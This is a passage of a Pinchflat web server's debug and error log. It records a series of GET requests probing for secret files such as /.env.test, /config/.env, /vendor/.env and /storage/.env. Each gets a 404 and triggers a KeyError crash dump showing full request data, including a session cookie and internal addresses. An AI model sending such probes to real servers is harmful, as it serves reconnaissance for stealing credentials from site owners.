%{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_par (truncated) 17:14:19.357 [info] GET /.env.test 17:14:19.358 [debug] QUERY OK source="settings" db=0.1ms idle=547.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:19.358 [debug] QUERY OK source="settings" db=0.1ms idle=547.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:19.358 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:19.359 [error] #PID<0.11775.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 8) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.test ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11775.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.test", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWWSv8cwaJfEABUEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ (truncated) 17:14:19.630 [info] GET /config/.env 17:14:19.630 [debug] QUERY OK source="settings" db=0.1ms idle=711.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:19.631 [debug] QUERY OK source="settings" db=0.0ms idle=544.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:19.631 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:19.631 [error] #PID<0.11776.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 9) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /config/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11776.0>, params: %{}, path_info: ["config", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/config/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWXTr0zlh8QcABUGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 17:14:19.902 [info] GET /vendor/.env 17:14:19.903 [debug] QUERY OK source="settings" db=0.1ms idle=816.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:19.903 [debug] QUERY OK source="settings" db=0.0ms idle=544.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:19.903 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:19.903 [error] #PID<0.11777.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 10) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /vendor/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /vendor/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11777.0>, params: %{}, path_info: ["vendor", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/vendor/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWYUoNCKbn9IABUIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /vendor/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 17:14:20.175 [info] GET /storage/.env 17:14:20.175 [debug] QUERY OK source="settings" db=0.1ms idle=544.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:20.175 [debug] QUERY OK source="settings" db=0.0ms idle=544.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:20.175 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:20.176 [error] #PID<0.11778.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 11) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /storage/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => 